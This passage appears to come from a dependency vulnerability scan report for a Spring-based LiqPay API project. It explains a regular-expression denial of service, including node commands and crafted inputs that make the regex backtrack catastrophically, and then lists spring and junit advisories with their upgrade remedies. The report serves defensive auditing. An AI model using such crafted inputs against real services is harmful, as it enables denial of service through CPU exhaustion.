The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade org.springframework:spring-web to version 4.3.20.RELEASE, 5.0.10.RELEASE, 5.1.1.RELEASE or higher.
References
low severity
- Vulnerable module: junit:junit
- Introduced through: com.googlecode.json-simple:json-simple@1.1.1
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › com.googlecode.json-simple:json-simple@1.1.1 › junit:junit@4.10
Overview
junit:junit is an unit testing framework for Java
Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.
Remediation
Upgrade junit:junit to version 4.13.1 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-context
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.
Note:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.
This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.
Remediation
Upgrade org.springframework:spring-context to version 6.1.14 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@6.1.14.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@6.1.14.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-expression@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASE › org.springframework:spring-context@4.2.9.RELEASE › org.springframework:spring-aop@4.2.9.RELEASE › org.springframework:spring-beans@4.2.9.RELEASE › org.springframework:spring-core@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@5.0.0.RELEASE.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.
Note:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.
This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.
Remediation
Upgrade org.springframework:spring-core to version 6.1.14 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.springframework:spring-web@4.2.9.RELEASE
Detailed paths
-
Introduced through: HennadiiMelnyk/liqpay-api-with-spring@HennadiiMelnyk/liqpay-api-with-spring#5192fc21467fc8400507a41dd369ffbb66956906 › org.springframework:spring-web@4.2.9.RELEASERemediation: Upgrade to org.springframework:spring-web@6.1.14.
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.
Note:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.
This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.
Remediation
Upgrade org.springframework:spring-web to version 6.1.14 or higher.